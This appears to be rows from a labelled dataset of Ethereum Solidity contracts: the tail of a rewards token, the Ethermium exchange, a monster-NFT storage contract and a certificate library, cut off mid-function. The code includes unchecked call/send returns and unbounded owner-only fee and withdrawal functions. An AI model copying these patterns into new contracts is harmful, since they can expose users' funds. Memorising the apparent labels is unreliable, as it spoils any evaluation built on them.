balanceOf(_msgSender()) > 0,
'You must have a balance to claim ETH rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateETHRewards(_msgSender());
ethRewardsBalance -= rewardsSent;
_msgSender().call{ value: rewardsSent }('');
emit SendETHRewards(_msgSender(), rewardsSent);
}
function canClaimRewards(address user) public view returns (bool) {
if (_rewardsLastClaim[user] == 0) {
return
block.timestamp > launchTime.add(rewardsClaimTimeSeconds);
}
else {
return
block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds);
}
}
function claimTokenRewards(address token) external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim rewards'
);
require(
IERC20(token).balanceOf(address(this)) > 0,
'We must have a token balance to claim rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateTokenRewards(_msgSender(), token);
IERC20(token).transfer(_msgSender(), rewardsSent);
emit SendTokenRewards(_msgSender(), token, rewardsSent);
}
function setFeeRate(uint256 _rate) external onlyOwner {
feeRate = _rate;
}
function manualswap(uint256 amount) external onlyOwner {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
_swapTokens(amount);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
receive() external payable {}
} | 0 | 2,483 |
pragma solidity ^0.4.19;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract EthermiumAffiliates {
mapping(address => address[]) public referrals;
mapping(address => address) public affiliates;
mapping(address => bool) public admins;
string[] public affiliateList;
address public owner;
function setOwner(address newOwner);
function setAdmin(address admin, bool isAdmin) public;
function assignReferral (address affiliate, address referral) public;
function getAffiliateCount() returns (uint);
function getAffiliate(address refferal) public returns (address);
function getReferrals(address affiliate) public returns (address[]);
}
contract EthermiumTokenList {
function isTokenInList(address tokenAddress) public constant returns (bool);
}
contract Exchange {
function assert(bool assertion) {
if (!assertion) throw;
}
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner;
mapping (address => uint256) public invalidOrder;
event SetOwner(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
function getOwner() returns (address out) {
return owner;
}
function invalidateOrdersBefore(address user, uint256 nonce) onlyAdmin {
if (nonce < invalidOrder[user]) throw;
invalidOrder[user] = nonce;
}
mapping (address => mapping (address => uint256)) public tokens;
mapping (address => bool) public admins;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
address public feeAccount;
uint256 public feeAffiliate;
uint256 public inactivityReleasePeriod;
mapping (bytes32 => bool) public traded;
mapping (bytes32 => bool) public withdrawn;
uint256 public makerFee;
uint256 public takerFee;
uint256 public affiliateFee;
uint256 public makerAffiliateFee;
uint256 public takerAffiliateFee;
mapping (address => address) public referrer;
address public affiliateContract;
address public tokenListContract;
enum Errors {
INVLID_PRICE,
INVLID_SIGNATURE,
TOKENS_DONT_MATCH,
ORDER_ALREADY_FILLED,
GAS_TOO_HIGH
}
event Order(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Cancel(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(
address takerTokenBuy, uint256 takerAmountBuy,
address takerTokenSell, uint256 takerAmountSell,
address maker, address taker,
uint256 makerFee, uint256 takerFee,
uint256 makerAmountTaken, uint256 takerAmountTaken,
bytes32 makerOrderHash, bytes32 takerOrderHash
);
event Deposit(address token, address user, uint256 amount, uint256 balance, address referrerAddress);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event FeeChange(uint256 makerFee, uint256 takerFee, uint256 affiliateFee);
event AffiliateFeeChange(uint256 newAffiliateFee);
event LogError(uint8 indexed errorId, bytes32 indexed orderHash);
event CancelOrder(bytes32 cancelHash, bytes32 orderHash, address user, address tokenSell, uint256 amountSell, uint256 cancelFee);
function setInactivityReleasePeriod(uint256 expiry) onlyAdmin returns (bool success) {
if (expiry > 1000000) throw;
inactivityReleasePeriod = expiry;
return true;
}
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_, address affiliateContract_, address tokenListContract_) {
owner = msg.sender;
feeAccount = feeAccount_;
inactivityReleasePeriod = 100000;
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
affiliateContract = affiliateContract_;
tokenListContract = tokenListContract_;
}
function setFees(uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney);
require(affiliateFee_ > affiliateFee);
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
FeeChange(makerFee, takerFee, affiliateFee_);
}
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
function() external {
throw;
}
function depositToken(address token, uint256 amount, address referrerAddress) {
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
lastActiveTransaction[msg.sender] = block.number;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
Deposit(token, msg.sender, amount, tokens[token][msg.sender], referrer[msg.sender]);
}
function deposit(address referrerAddress) payable {
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value);
lastActiveTransaction[msg.sender] = block.number;
Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender], referrer[msg.sender]);
}
function withdraw(address token, uint256 amount) returns (bool success) {
if (safeSub(block.number, lastActiveTransaction[msg.sender]) < inactivityReleasePeriod) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (token == address(0)) {
if (!msg.sender.send(amount)) throw;
} else {
if (!Token(token).transfer(msg.sender, amount)) throw;
}
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function adminWithdraw(address token, uint256 amount, address user, uint256 nonce, uint8 v, bytes32 r, bytes32 s, uint256 feeWithdrawal) onlyAdmin returns (bool success) {
bytes32 hash = keccak256(this, token, amount, user, nonce);
if (withdrawn[hash]) throw;
withdrawn[hash] = true;
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) != user) throw;
if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney;
if (tokens[token][user] < amount) throw;
tokens[token][user] = safeSub(tokens[token][user], amount);
tokens[address(0)][user] = safeSub(tokens[address(0x0)][user], feeWithdrawal);
tokens[address(0)][feeAccount] = safeAdd(tokens[address(0)][feeAccount], feeWithdrawal);
if (token == address(0)) {
if (!user.send(amount)) throw;
} else {
if (!Token(token).transfer(user, amount)) throw;
}
lastActiveTransaction[user] = block.number;
Withdraw(token, user, amount, tokens[token][user]);
}
function balanceOf(address token, address user) constant returns (uint256) {
return tokens[token][user];
}
struct OrderPair {
uint256 makerAmountBuy;
uint256 makerAmountSell;
uint256 makerNonce;
uint256 takerAmountBuy;
uint256 takerAmountSell;
uint256 takerNonce;
uint256 takerGasFee;
address makerTokenBuy;
address makerTokenSell;
address maker;
address takerTokenBuy;
address takerTokenSell;
address taker;
bytes32 makerOrderHash;
bytes32 takerOrderHash;
}
struct TradeValues {
uint256 qty;
uint256 invQty;
uint256 makerAmountTaken;
uint256 takerAmountTaken;
address makerReferrer;
address takerReferrer;
}
function trade(
uint8[2] v,
bytes32[4] rs,
uint256[7] tradeValues,
address[6] tradeAddresses
) onlyAdmin returns (uint filledTakerTokenAmount)
{
OrderPair memory t = OrderPair({
makerAmountBuy : tradeValues[0],
makerAmountSell : tradeValues[1],
makerNonce : tradeValues[2],
takerAmountBuy : tradeValues[3],
takerAmountSell : tradeValues[4],
takerNonce : tradeValues[5],
takerGasFee : tradeValues[6],
makerTokenBuy : tradeAddresses[0],
makerTokenSell : tradeAddresses[1],
maker : tradeAddresses[2],
takerTokenBuy : tradeAddresses[3],
takerTokenSell : tradeAddresses[4],
taker : tradeAddresses[5],
makerOrderHash : keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]),
takerOrderHash : keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5])
});
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash);
return 0;
}
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.takerOrderHash);
return 0;
}
if (t.makerTokenBuy != t.takerTokenSell || t.makerTokenSell != t.takerTokenBuy)
{
LogError(uint8(Errors.TOKENS_DONT_MATCH), t.takerOrderHash);
return 0;
}
if (t.takerGasFee > 100 finney)
{
LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash);
return 0;
}
if (!(
(t.makerTokenBuy != address(0x0) && safeMul(t.makerAmountSell, 1 ether) / t.makerAmountBuy >= safeMul(t.takerAmountBuy, 1 ether) / t.takerAmountSell)
||
(t.makerTokenBuy == address(0x0) && safeMul(t.makerAmountBuy, 1 ether) / t.makerAmountSell <= safeMul(t.takerAmountSell, 1 ether) / t.takerAmountBuy)
))
{
LogError(uint8(Errors.INVLID_PRICE), t.makerOrderHash);
return 0;
}
TradeValues memory tv = TradeValues({
qty : 0,
invQty : 0,
makerAmountTaken : 0,
takerAmountTaken : 0,
makerReferrer : referrer[t.maker],
takerReferrer : referrer[t.taker]
});
if (tv.makerReferrer == address(0x0)) tv.makerReferrer = feeAccount;
if (tv.takerReferrer == address(0x0)) tv.takerReferrer = feeAccount;
if (t.makerTokenBuy != address(0x0))
{
tv.qty = min(safeSub(t.makerAmountBuy, orderFills[t.makerOrderHash]), safeSub(t.takerAmountSell, safeMul(orderFills[t.takerOrderHash], t.takerAmountSell) / t.takerAmountBuy));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountSell) / t.makerAmountBuy;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.invQty);
tv.makerAmountTaken = safeSub(tv.qty, safeMul(tv.qty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.qty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.qty);
tv.takerAmountTaken = safeSub(safeSub(tv.invQty, safeMul(tv.invQty, takerFee) / (1 ether)), safeMul(tv.invQty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.invQty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.qty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.invQty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], safeMul(tv.qty, t.takerAmountBuy) / t.takerAmountSell);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
else
{
tv.qty = min(safeSub(t.makerAmountSell, safeMul(orderFills[t.makerOrderHash], t.makerAmountSell) / t.makerAmountBuy), safeSub(t.takerAmountBuy, orderFills[t.takerOrderHash]));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountBuy) / t.makerAmountSell;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.qty);
tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.invQty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.invQty);
tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.qty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.invQty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.qty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.invQty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
}
function batchOrderTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[7][] tradeValues,
address[6][] tradeAddresses
)
{
for (uint i = 0; i < tradeAddresses.length; i++) {
trade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i]
);
}
}
function cancelOrder(
uint8[2] v,
bytes32[4] rs,
uint256[5] cancelValues,
address[4] cancelAddresses
) public onlyAdmin {
bytes32 orderHash = keccak256(
this, cancelAddresses[0], cancelValues[0], cancelAddresses[1],
cancelValues[1], cancelValues[2], cancelAddresses[2]
);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == cancelAddresses[2]);
bytes32 cancelHash = keccak256(this, orderHash, cancelAddresses[3], cancelValues[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", cancelHash), v[1], rs[2], rs[3]) == cancelAddresses[3]);
require(cancelAddresses[2] == cancelAddresses[3]);
require(orderFills[orderHash] != cancelValues[0]);
if (cancelValues[4] > 50 finney) {
cancelValues[4] = 50 finney;
}
tokens[address(0)][cancelAddresses[3]] = safeSub(tokens[address(0)][cancelAddresses[3]], cancelValues[4]);
orderFills[orderHash] = cancelValues[0];
CancelOrder(cancelHash, orderHash, cancelAddresses[3], cancelAddresses[1], cancelValues[1], cancelValues[4]);
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | 0 | 462 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract CryptoStorage is StorageBase {
struct Monster {
uint32 matronId;
uint32 sireId;
uint32 siringWithId;
uint16 cooldownIndex;
uint16 generation;
uint64 cooldownEndBlock;
uint64 birthTime;
uint16 monsterId;
uint32 monsterNum;
bytes properties;
}
Monster[] internal monsters;
uint256 public promoCreatedCount;
uint256 public systemCreatedCount;
uint256 public pregnantMonsters;
mapping (uint256 => uint32) public monsterCurrentNumber;
mapping (uint256 => address) public monsterIndexToOwner;
mapping (address => uint256) public ownershipTokenCount;
mapping (uint256 => address) public monsterIndexToApproved;
function CryptoStorage() public {
createMonster(0, 0, 0, 0, 0, "");
}
function createMonster(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _birthTime,
uint256 _monsterId,
bytes _properties
)
public
onlyOwner
returns (uint256)
{
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
require(_birthTime == uint256(uint64(_birthTime)));
require(_monsterId == uint256(uint16(_monsterId)));
monsterCurrentNumber[_monsterId]++;
Monster memory monster = Monster({
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: 0,
generation: uint16(_generation),
cooldownEndBlock: 0,
birthTime: uint64(_birthTime),
monsterId: uint16(_monsterId),
monsterNum: monsterCurrentNumber[_monsterId],
properties: _properties
});
uint256 tokenId = monsters.push(monster) - 1;
require(tokenId == uint256(uint32(tokenId)));
return tokenId;
}
function getMonster(uint256 _tokenId)
external
view
returns (
bool isGestating,
bool isReady,
uint16 cooldownIndex,
uint64 nextActionAt,
uint32 siringWithId,
uint32 matronId,
uint32 sireId,
uint64 cooldownEndBlock,
uint16 generation,
uint64 birthTime,
uint32 monsterNum,
uint16 monsterId,
bytes properties
)
{
Monster storage monster = monsters[_tokenId];
isGestating = (monster.siringWithId != 0);
isReady = (monster.cooldownEndBlock <= block.number);
cooldownIndex = monster.cooldownIndex;
nextActionAt = monster.cooldownEndBlock;
siringWithId = monster.siringWithId;
matronId = monster.matronId;
sireId = monster.sireId;
cooldownEndBlock = monster.cooldownEndBlock;
generation = monster.generation;
birthTime = monster.birthTime;
monsterNum = monster.monsterNum;
monsterId = monster.monsterId;
properties = monster.properties;
}
function getMonsterCount() external view returns (uint256) {
return monsters.length - 1;
}
function getMatronId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].matronId;
}
function getSireId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].sireId;
}
function getSiringWithId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].siringWithId;
}
function setSiringWithId(uint256 _tokenId, uint32 _siringWithId) external onlyOwner {
monsters[_tokenId].siringWithId = _siringWithId;
}
function deleteSiringWithId(uint256 _tokenId) external onlyOwner {
delete monsters[_tokenId].siringWithId;
}
function getCooldownIndex(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].cooldownIndex;
}
function setCooldownIndex(uint256 _tokenId) external onlyOwner {
monsters[_tokenId].cooldownIndex += 1;
}
function getGeneration(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].generation;
}
function getCooldownEndBlock(uint256 _tokenId) external view returns (uint64) {
return monsters[_tokenId].cooldownEndBlock;
}
function setCooldownEndBlock(uint256 _tokenId, uint64 _cooldownEndBlock) external onlyOwner {
monsters[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getBirthTime(uint256 _tokenId) external view returns (uint64) {
return monsters[_tokenId].birthTime;
}
function getMonsterId(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].monsterId;
}
function getMonsterNum(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].monsterNum;
}
function getProperties(uint256 _tokenId) external view returns (bytes) {
return monsters[_tokenId].properties;
}
function updateProperties(uint256 _tokenId, bytes _properties) external onlyOwner {
monsters[_tokenId].properties = _properties;
}
function setMonsterIndexToOwner(uint256 _tokenId, address _owner) external onlyOwner {
monsterIndexToOwner[_tokenId] = _owner;
}
function increaseOwnershipTokenCount(address _owner) external onlyOwner {
ownershipTokenCount[_owner]++;
}
function decreaseOwnershipTokenCount(address _owner) external onlyOwner {
ownershipTokenCount[_owner]--;
}
function setMonsterIndexToApproved(uint256 _tokenId, address _approved) external onlyOwner {
monsterIndexToApproved[_tokenId] = _approved;
}
function deleteMonsterIndexToApproved(uint256 _tokenId) external onlyOwner {
delete monsterIndexToApproved[_tokenId];
}
function increasePromoCreatedCount() external onlyOwner {
promoCreatedCount++;
}
function increaseSystemCreatedCount() external onlyOwner {
systemCreatedCount++;
}
function increasePregnantCounter() external onlyOwner {
pregnantMonsters++;
}
function decreasePregnantCounter() external onlyOwner {
pregnantMonsters--;
}
} | 0 | 212 |
pragma solidity ^0.4.13;
library CertsLib {
struct SignatureData {
bytes32 status;
uint exp;
}
struct TransferData {
address newOwner;
uint newEntityId;
}
struct CertData {
address owner;
uint entityId;
bytes32 certHash;
string ipfsCertHash;
bytes32 dataHash;
string ipfsDataHash;
mapping(uint => SignatureData) entities;
uint[] entitiesArr;
mapping(address => SignatureData) signatures;
address[] signaturesArr;
}
struct Data {
mapping(uint => CertData) certificates;
mapping(uint => TransferData) transferRequests;
uint nCerts;
}
function createPOECertificate(Data storage self, bytes32 dataHash, bytes32 certHash, string ipfsDataHash, string ipfsCertHash) public returns (uint) {
require (hasData(dataHash, certHash, ipfsDataHash, ipfsCertHash));
uint certId = ++self.nCerts;
self.certificates[certId] = CertData({
owner: 0,
entityId: 0,
certHash: certHash,
ipfsCertHash: ipfsCertHash,
dataHash: dataHash,
ipfsDataHash: ipfsDataHash,
entitiesArr: new uint[](0),
signaturesArr: new address[](0)
});
POECertificate(certId);
return certId;
}
function createCertificate(Data storage self, EntityLib.Data storage ed, bytes32 dataHash, bytes32 certHash, string ipfsDataHash, string ipfsCertHash, uint entityId) senderCanIssueEntityCerts(ed, entityId) public returns (uint) {
require (hasData(dataHash, certHash, ipfsDataHash, ipfsCertHash));
uint certId = ++self.nCerts;
self.certificates[certId] = CertData({
owner: entityId == 0 ? msg.sender : 0,
entityId: entityId,
certHash: certHash,
ipfsCertHash: ipfsCertHash,
dataHash: dataHash,
ipfsDataHash: ipfsDataHash,
entitiesArr: new uint[](0),
signaturesArr: new address[](0)
});
Certificate(certId);
return certId;
}
function requestCertificateTransferToPeer(Data storage self, EntityLib.Data storage ed, uint certificateId, address newOwner) canTransferCertificate(self, ed, certificateId) public {
self.transferRequests[certificateId] = TransferData({
newOwner: newOwner,
newEntityId: 0
});
CertificateTransferRequestedToPeer(certificateId, newOwner);
}
function requestCertificateTransferToEntity(Data storage self, EntityLib.Data storage ed, uint certificateId, uint newEntityId) entityExists(ed, newEntityId) canTransferCertificate(self, ed, certificateId) public {
self.transferRequests[certificateId] = TransferData({
newOwner: 0,
newEntityId: newEntityId
});
CertificateTransferRequestedToEntity(certificateId, newEntityId);
}
function acceptCertificateTransfer(Data storage self, EntityLib.Data storage ed, uint certificateId) canAcceptTransfer(self, ed, certificateId) public {
TransferData storage reqData = self.transferRequests[certificateId];
self.certificates[certificateId].owner = reqData.newOwner;
self.certificates[certificateId].entityId = reqData.newEntityId;
CertificateTransferAccepted(certificateId, reqData.newOwner, reqData.newEntityId);
delete self.transferRequests[certificateId];
}
function cancelCertificateTransfer(Data storage self, EntityLib.Data storage ed, uint certificateId) canTransferCertificate(self, ed, certificateId) public {
self.transferRequests[certificateId] = TransferData({
newOwner: 0,
newEntityId: 0
});
CertificateTransferCancelled(certificateId);
}
function setIPFSData(Data storage self, uint certId, string ipfsDataHash, string ipfsCertHash) ownsCertificate(self, certId) public {
self.certificates[certId].ipfsDataHash = ipfsDataHash;
self.certificates[certId].ipfsCertHash = ipfsCertHash;
UpdatedIPFSData(certId);
}
function hasData(bytes32 dataHash, bytes32 certHash, string ipfsDataHash, string ipfsCertHash) pure public returns (bool) {
return certHash != 0
|| dataHash != 0
|| bytes(ipfsDataHash).length != 0
|| bytes(ipfsCertHash).length != 0;
}
modifier ownsCertificate(Data storage self, uint id) {
require (self.certificates[id].owner == msg.sender);
_;
}
modifier senderCanIssueEntityCerts(EntityLib.Data storage ed, uint entityId) {
require (entityId == 0
|| (EntityLib.isValid(ed, entityId) && ed.entities[entityId].signers[msg.sender].status == 2));
_;
}
modifier canTransferCertificate(Data storage self, EntityLib.Data storage ed, uint certificateId) {
CertData storage cert = self.certificates[certificateId];
require (hasData(cert.dataHash, cert.certHash, cert.ipfsDataHash, cert.ipfsCertHash));
if (cert.owner != 0) {
require (cert.owner == msg.sender);
_;
} else if (cert.entityId != 0) {
EntityLib.EntityData storage entity = ed.entities[cert.entityId];
require (EntityLib.isValid(ed, cert.entityId) && entity.signers[msg.sender].status == 2);
_;
}
}
modifier entityExists(EntityLib.Data storage ed, uint entityId) {
require (EntityLib.exists(ed, entityId));
_;
}
modifier canAcceptTransfer(Data storage self, EntityLib.Data storage ed, uint certificateId) {
CertData storage cert = self.certificates[certificateId];
require (hasData(cert.dataHash, cert.certHash, cert.ipfsDataHash, cert.ipfsCertHash));
TransferData storage reqData = self.transferRequests[certificateId];
require(reqData.newEntityId != 0 || reqData.newOwner != 0);
if (reqData.newOwner == msg.sender) {
_;
} else if (reqData.newEntityId != 0) {
EntityLib.EntityData storage newEntity = ed.entities[reqData.newEntityId];
require (EntityLib.isValid(ed, reqData.newEntityId) && newEntity.signers[msg.sender].status == 2);
_;
}
}
event POECertificate(uint indexed certificateId);
event Certificate(uint indexed certificateId);
event CertificateTransferRequestedToPeer(uint indexed certificateId, address newOwner);
event CertificateTransferRequestedToEntity(uint indexed certificateId, uint newEntityId);
event CertificateTransferAccepted(uint indexed certificateId, address newOwner, uint newEntityId);
event CertificateTransferCancelled(uint indexed certificateId);
event UpdatedIPFSData(uint indexed certificateId);
}
library EntityLib {
struct SignerData {
string signerDataHash;
uint status;
}
struct EntityData {
address owner;
string dataHash;
uint status;
bytes32 urlHash;
uint expiration;
uint renewalPeriod;
bytes32 oraclizeQueryId;
mapping(address => SignerData) signers;
address[] signersArr;
}
struct Data {
mapping(uint => EntityData) entities;
mapping(bytes32 => uint) entityIds;
uint nEntities;
}
function create(Data storage self, uint entityId, string entitDatayHash, bytes32 urlHash, uint expirationDate, uint renewalPeriod) isExpirationDateValid(expirationDate) isRenewalPeriodValid(renewalPeriod) public {
self.entities[entityId] = EntityData({
owner: msg.sender,
dataHash: entitDatayHash,
urlHash: urlHash,
status: 1,
expiration: expirationDate,
renewalPeriod: renewalPeriod,
oraclizeQueryId: 0,
signersArr: new address[](0)
});
EntityCreated(entityId);
}
function processValidation(Data storage self, bytes32 queryId, string result) public {
uint entityId = self.entityIds[queryId];
self.entityIds[queryId] = 0;
EntityData storage entity = self.entities[entityId];
require (queryId == entity.oraclizeQueryId);
string memory entityIdStr = uintToString(entityId);
string memory toCompare = strConcat(entityIdStr, ":", entity.dataHash);
if (stringsEqual(result, toCompare)) {
if (entity.status == 4) {
uint initDate = max(entity.expiration, now);
entity.expiration = initDate + entity.renewalPeriod;
}
entity.status = 2;
EntityValidated(entityId);
} else {
entity.status = 1;
EntityInvalid(entityId);
}
}
